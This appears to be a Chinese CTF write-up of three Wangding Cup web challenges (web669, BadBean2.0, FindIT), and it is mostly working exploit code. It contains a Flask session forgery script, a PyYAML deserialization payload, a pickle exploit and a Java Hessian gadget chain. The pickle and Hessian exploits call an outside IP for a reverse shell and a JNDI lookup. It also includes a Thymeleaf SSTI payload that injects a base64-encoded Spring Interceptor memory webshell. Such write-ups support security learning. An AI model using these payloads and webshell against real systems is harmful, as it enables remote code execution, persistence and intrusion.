网鼎杯
纯坐牢。好久没拿Windows做题了,搞得python没跑起来,后面的yaml看不懂咋处理
web669
app.config['SECRET_KEY'] = socket.gethostname()
密钥为靶机的hostname。
path = os.path.join(basedir, file).replace('../', '')
print(path)
if os.path.isfile(path):
return send_file(path)
可以双写进行目录穿越。读取 /etc/hosts。
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.6.115.15 engine-1
密钥为最下面的engine-1。然后就可以修改session了
后面的逻辑审不明白,Windows搭不了(懒得开虚拟机)。下面交给我队友了
后面yaml.load这块儿有黑名单,没回显,估计要反弹shell 查下pyyaml的洞,网上容易查到两个cve:cve-2020-1747、cve-2020-14343。
绕过黑名单,payload:
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/new:os.popen ["bash -c \"bash -i >&/dev/tcp/ip/port 0>&1\""]'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
然后代码里面的
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
f.write(yaml.dump(rarDatas))
我以为是将解压的yaml写入,后来才明白,rarDatas是rar文件的内容,所以display是不会解析传入的yaml的。所以需要在fileinfo目录下写一个yaml。所以直接修改session里面的updir即可
from flask.sessions import SecureCookieSessionInterface
import os, sys, pickle, base64, requests
COMMAND = "bash -c 'bash -i >& /dev/tcp/47.96.173.116/2333 0>&1'"
class PickleRce(object):
def __reduce__(self):
return (os.system, (COMMAND,))
class App(object):
def __init__(self):
self.secret_key = None
app = App()
app.secret_key = b'engine-1'
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
session = serializer.dumps({"updir":".","user":"Administrator"})
print(session)
# requests.get('http://40de4789-7b10-4733-ad76-8e501a0b9434.node4.buuoj.cn/note/1', cookies = {
# 'session': session
# });
然后上传fileinfo.rar,当它解压的时候直接覆盖原有的fileinfo目录。然后里面塞yaml的payload,文件名为md5(x).yaml。上传成功之后,访问/display?file=x即可。拿到shell需要提权,发现dd
命令有suid,直接
dd if=/flag
即可
BadBean2.0(复现)坐牢
丢给队友之后,看了一下午的Java反序列化。折磨,没想到自带黑名单
八月 26, 2022 6:48:37 下午 com.alibaba.com.caucho.hessian.io.ClassFactory load
严重: javax.management.BadAttributeValueExpException in blacklist or not in whitelist, deserialization with type 'HashMap' instead.
八月 26, 2022 6:48:37 下午 com.alibaba.com.caucho.hessian.io.ClassFactory load
严重: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl in blacklist or not in whitelist, deserialization with type 'HashMap' instead.
TemplatesImpl被禁了没问题,还可以用JdbcRowSetImpl打高版本jndi,也可以打SignedObject的二次反序列化。问题是如何触发toString。看了一下午,找不到,网上也没搜到。坐等wp,学一手新操作XD
(分割线)
终于等到wp了:https://y4er.com/posts/wangdingbei-badbean-hessian2/
当时也找到了https://paper.seebug.org/1814/
这篇文章,奈何看不懂。然后又是新知识。居然在不实现Serializable
接口情况下也能反序列化,hessian牛逼!根据文章和wp的分析,直接本地debug。
toString触发点:
protected IOException expect(String expect, int ch) throws IOException {
if (ch < 0) {
return this.error("expected " + expect + " at end of file");
} else {
--this._offset;
try {
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
类似php字符串连接自动触发toString。又学到了。。。
然后就是文章里面的巧妙构造
case 67:
this.readObjectDefinition(expectedClass);
return this.readObject(expectedClass);
tag=67
可以触发readString
private void readObjectDefinition(Class cl) throws IOException {
String type = this.readString();
...
}
||
\/
public String readString() throws IOException {
int tag = this.read();//还是67
int ch;
switch(tag) {
...
case 67:
...
default:
throw this.expect("string", tag);
}
...
}
然后expect就是上面的toString触发点。如何构造toString呢?重写Hessian2Output
的writeString方法
public void writeString(String value) throws IOException {
int offset = this._offset;
byte[] buffer = this._buffer;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
if (value == null) {
buffer[offset++] = 78;
this._offset = offset;
} else {
int length = value.length();
int strOffset;
int sublen;
for (strOffset = 0; length > 32768; strOffset += sublen) {
sublen = 32768;
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
char tail = value.charAt(strOffset + sublen - 1);
if ('\ud800' <= tail && tail <= '\udbff') {
--sublen;
}
buffer[offset + 0] = 82;
buffer[offset + 1] = (byte) (sublen >> 8);
buffer[offset + 2] = (byte) sublen;
this._offset = offset + 3;
this.printString(value, strOffset, sublen);
length -= sublen;
}
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
if (length <= 31) {
if (value.startsWith("aaa")) {
buffer[offset++] = 67;
} else {
buffer[offset++] = (byte) (0 + length);
}
} else if (length <= 1023) {
buffer[offset++] = (byte) (48 + (length >> 8));
buffer[offset++] = (byte) length;
} else {
buffer[offset++] = 83;
buffer[offset++] = (byte) (length >> 8);
buffer[offset++] = (byte) length;
}
this._offset = offset;
if (!value.startsWith("aaa")) {
this.printString(value, strOffset, length);
}
}
}
然后由于java知识太垃圾,整半天都不知道咋重写(直接extends一堆错),然后直接抄一手文章里的github代码,然后更大的坑来了
if (!value.startsWith("aaa")) {
this._offset = offset;
this.printString(value, strOffset, length);
}
文章的代码是上面的那个和wp差在了his._offset = offset;
的位置,结果整了一下午没整通,然后决定照抄wp,一行一行的比对才发现错误的地方。。。
tag弄好了,但是我还是小看了它的黑名单,JdbcRowSetImpl
也是黑名单里的,然后二次反序列化也没有别的链子可用,搜了半天也没发现啥可用的。于是直接抄wp了。没想到即使没有Serializable
也能反序列化,还得是hessian。只需要重写SerializerFactory的getDefaultSerializer
方法即可:
protected Serializer getDefaultSerializer(Class cl) {
this._isAllowNonSerializable = true;
if (this._defaultSerializer != null) {
return this._defaultSerializer;
} else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
} else {
return new JavaSerializer(cl, this._loader);
}
}
然后我分析了一下HikariDataSource
的getConnection
是怎么触发jndi的。
public Connection getConnection() throws SQLException {
if (this.isClosed()) {
throw new SQLException("HikariDataSource " + this + " has been closed.");
} else if (this.fastPathPool != null) {
return this.fastPathPool.getConnection();
} else {
HikariPool result = this.pool;
if (result == null) {
synchronized(this) {
result = this.pool;
if (result == null) {
this.validate();
LOGGER.info("{} - Starting...", this.getPoolName());
try {
this.pool = result = new HikariPool(this);
||
\/
PoolBase(HikariConfig config) {
this.config = config;
this.networkTimeout = -1;
this.catalog = config.getCatalog();
this.isReadOnly = config.isReadOnly();
this.isAutoCommit = config.isAutoCommit();
this.transactionIsolation = UtilityElf.getTransactionIsolation(config.getTransactionIsolation());
this.isQueryTimeoutSupported = -1;
this.isNetworkTimeoutSupported = -1;
this.isUseJdbc4Validation = config.getConnectionTestQuery() == null;
this.isIsolateInternalQueries = config.isIsolateInternalQueries();
this.poolName = config.getPoolName();
this.connectionTimeout = config.getConnectionTimeout();
this.validationTimeout = config.getValidationTimeout();
this.lastConnectionFailure = new AtomicReference();
this.initializeDataSource();//这里
}
||
\/
private void initializeDataSource() {
String jdbcUrl = this.config.getJdbcUrl();
String username = this.config.getUsername();
String password = this.config.getPassword();
String dsClassName = this.config.getDataSourceClassName();
String driverClassName = this.config.getDriverClassName();
String dataSourceJNDI = this.config.getDataSourceJNDI();
Properties dataSourceProperties = this.config.getDataSourceProperties();
DataSource dataSource = this.config.getDataSource();
if (dsClassName != null && dataSource == null) {
dataSource = (DataSource)UtilityElf.createInstance(dsClassName, DataSource.class, new Object[0]);
PropertyElf.setTargetFromProperties(dataSource, dataSourceProperties);
} else if (jdbcUrl != null && dataSource == null) {
dataSource = new DriverDataSource(jdbcUrl, driverClassName, dataSourceProperties, username, password);
} else if (dataSourceJNDI != null && dataSource == null) {
try {
InitialContext ic = new InitialContext();
dataSource = (DataSource)ic.lookup(dataSourceJNDI);//触发点
贴一个exp(纯抄):
package com.ctf.badbean;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.ctf.badbean.bean.MyBean;
import com.zaxxer.hikari.HikariDataSource;
import java.io.*;
import java.util.Base64;
public class Exp {
public static void main(String[] args) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HikariDataSource ds = new HikariDataSource();
ds.setPoolName("pool");
ds.setDataSourceJNDI("rmi://47.96.173.116:6666/Object");
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
Object o = new com.ctf.badbean.bean.MyBean("", "", ds, com.zaxxer.hikari.HikariDataSource.class);
out.writeString("aaa");
out.writeObject(o);
out.flushBuffer();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray())));
hessian2Input.readObject();
}
}
由于EL表达式的jndi没打通,用snakeyaml就行了。详细可看羊城杯
玄武组 FindIT(复现)
找学长要了一手附件。刚好知识星球给了wp,复现一波。只能说真的nb。没想到ssti还能写内存马,学到了。本地搭环境可以看到thymeleaf
,估计是模板注入了。网上一搜thymeleaf 3.0.12
就能看到网上的漏洞代码和这个一模一样。所以直接拿网上的payload就能rce:
/doc/;/__${T (java.lang.Runtime).getRuntime.exec("id")}__::.x
但是不出网。又是jar包部署,写文件也不太行。然后执行命令必500,因为没有找到模板。所以只剩下最后一种办法,写内存马。网上有一些spel的payload。但是该版本不能用new对象。我想到用反射来获取,确实也是这么整。但是往url里面写内存马,这个payload是否有点长。。。所以直接不会了。学一波wp。用#request.getHeader
这样就解决了url的问题,然后wp用的javax.script.ScriptEngineManager
写内存马,没见过的操作。然后就没啥难度了。
/doc/;/__${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval(%23request.getHeader("asd"))}__::.x
本来我用javax.script.ScriptEngineManager.class
代替上面的"".getClass().forName("javax.script.ScriptEngineManager")
。结果一直不成功,应该是沙盒的原因?(本地调试报错看不懂)。然后我整的是Interceptor
内存马(最近快把所有内存马整理了一波,还差几个)。
Interceptor内存马:
package com.example.demo.controller;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class InterceptorInject extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
String code = request.getParameter("cmd");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}
}
然后是Test.class:
package com.example.demo;
import com.example.demo.controller.InterceptorInject;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Field;
import java.util.ArrayList;
public class Test {
public Test(){
}
public void doInject() throws NoSuchFieldException, IllegalAccessException {//wp说这个不能加static
System.out.println("success");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
adaptedInterceptors.add(new InterceptorInject());
}
}
用javassist拿Test.class的字节码:
byte[] bytes = ClassPool.getDefault().get("com.example.demo.Test").toBytecode();
byte[] base64 = Base64.getEncoder().encode(bytes);
System.out.println(new String(base64));
最后的script脚本代码:
var bytes = java.util.Base64.getDecoder().decode("yv66vgAAADQAYAoAFQAtCQAuAC8IADAKADEAMgoAMwA0CAA1CwA2ADcHADgIADkLAAgAOgcAOwgAJAoAPAA9CgA+AD8KAD4AQAcAQQcAQgoAEQAtCgAQAEMHAEQHAEUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAF0xjb20vZXhhbXBsZS9kZW1vL1Rlc3Q7AQAIZG9JbmplY3QBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFmFic3RyYWN0SGFuZGxlck1hcHBpbmcBAEBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmc7AQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQATYWRhcHRlZEludGVyY2VwdG9ycwEAFUxqYXZhL3V0aWwvQXJyYXlMaXN0OwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAClMamF2YS91dGlsL0FycmF5TGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEACkV4Y2VwdGlvbnMHAEYHAEcBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAWABcHAEgMAEkASgEAB3N1Y2Nlc3MHAEsMAEwATQcATgwATwBQAQA5b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuc2VydmxldC5EaXNwYXRjaGVyU2VydmxldC5DT05URVhUBwBRDABSAFMBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dAEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcMAFQAVQEAPm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nBwBWDABXAFgHAFkMAFoAWwwAXABdAQATamF2YS91dGlsL0FycmF5TGlzdAEALWNvbS9leGFtcGxlL2RlbW8vY29udHJvbGxlci9JbnRlcmNlcHRvckluamVjdAwAXgBfAQAVY29tL2V4YW1wbGUvZGVtby9UZXN0AQAQamF2YS9sYW5nL09iamVjdAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoAIQAUABUAAAAAAAIAAQAWABcAAQAYAAAAMwABAAEAAAAFKrcAAbEAAAACABkAAAAKAAIAAAAMAAQADQAaAAAADAABAAAABQAbABwAAAABAB0AFwACABgAAADIAAMABQAAAEiyAAISA7YABLgABRIGA7kABwMAwAAITCsSCbkACgIAwAALTRILEgy2AA1OLQS2AA4tLLYAD8AAEDoEGQS7ABFZtwAStgATV7EAAAADABkAAAAiAAgAAAAQAAgAEQAXABIAIwATACsAFAAwABUAOgAWAEcAFwAaAAAANAAFAAAASAAbABwAAAAXADEAHgAfAAEAIwAlACAAIQACACsAHQAiACMAAwA6AA4AJAAlAAQAJgAAAAwAAQA6AA4AJAAnAAQAKAAAAAYAAgApACoAAQArAAAAAgAs");
var classLoader = org.springframework.util.ClassUtils.getDefaultClassLoader();
var test1 = org.springframework.cglib.core.ReflectUtils.defineClass("com.example.demo.Test",bytes,classLoader).newInstance();
test1.doInject();
然后经典burpsuite一直不成功XD,python脚本走起:
import requests
url = 'http://127.0.0.1:8080/doc/;/__${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval(%23request.getHeader("asd"))}__::.x'
headers = {"asd": '''var bytes = java.util.Base64.getDecoder().decode("yv66vgAAADQAYAoAFQAtCQAuAC8IADAKADEAMgoAMwA0CAA1CwA2ADcHADgIADkLAAgAOgcAOwgAJAoAPAA9CgA+AD8KAD4AQAcAQQcAQgoAEQAtCgAQAEMHAEQHAEUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAF0xjb20vZXhhbXBsZS9kZW1vL1Rlc3Q7AQAIZG9JbmplY3QBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFmFic3RyYWN0SGFuZGxlck1hcHBpbmcBAEBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmc7AQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQATYWRhcHRlZEludGVyY2VwdG9ycwEAFUxqYXZhL3V0aWwvQXJyYXlMaXN0OwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAClMamF2YS91dGlsL0FycmF5TGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEACkV4Y2VwdGlvbnMHAEYHAEcBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAWABcHAEgMAEkASgEAB3N1Y2Nlc3MHAEsMAEwATQcATgwATwBQAQA5b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuc2VydmxldC5EaXNwYXRjaGVyU2VydmxldC5DT05URVhUBwBRDABSAFMBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dAEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcMAFQAVQEAPm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nBwBWDABXAFgHAFkMAFoAWwwAXABdAQATamF2YS91dGlsL0FycmF5TGlzdAEALWNvbS9leGFtcGxlL2RlbW8vY29udHJvbGxlci9JbnRlcmNlcHRvckluamVjdAwAXgBfAQAVY29tL2V4YW1wbGUvZGVtby9UZXN0AQAQamF2YS9sYW5nL09iamVjdAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoAIQAUABUAAAAAAAIAAQAWABcAAQAYAAAAMwABAAEAAAAFKrcAAbEAAAACABkAAAAKAAIAAAAMAAQADQAaAAAADAABAAAABQAbABwAAAABAB0AFwACABgAAADIAAMABQAAAEiyAAISA7YABLgABRIGA7kABwMAwAAITCsSCbkACgIAwAALTRILEgy2AA1OLQS2AA4tLLYAD8AAEDoEGQS7ABFZtwAStgATV7EAAAADABkAAAAiAAgAAAAQAAgAEQAXABIAIwATACsAFAAwABUAOgAWAEcAFwAaAAAANAAFAAAASAAbABwAAAAXADEAHgAfAAEAIwAlACAAIQACACsAHQAiACMAAwA6AA4AJAAlAAQAJgAAAAwAAQA6AA4AJAAnAAQAKAAAAAYAAgApACoAAQArAAAAAgAs");var classLoader = org.springframework.util.ClassUtils.getDefaultClassLoader();var test1 = org.springframework.cglib.core.ReflectUtils.defineClass("com.example.demo.Test",bytes,classLoader).newInstance();test1.doInject();'''}
#头部不要有回车
res = requests.get(url=url, headers=headers)
print(requests.get(url='http://127.0.0.1:8080/?cmd=id').text)
由于只能get,所以内存马只能塞头部了。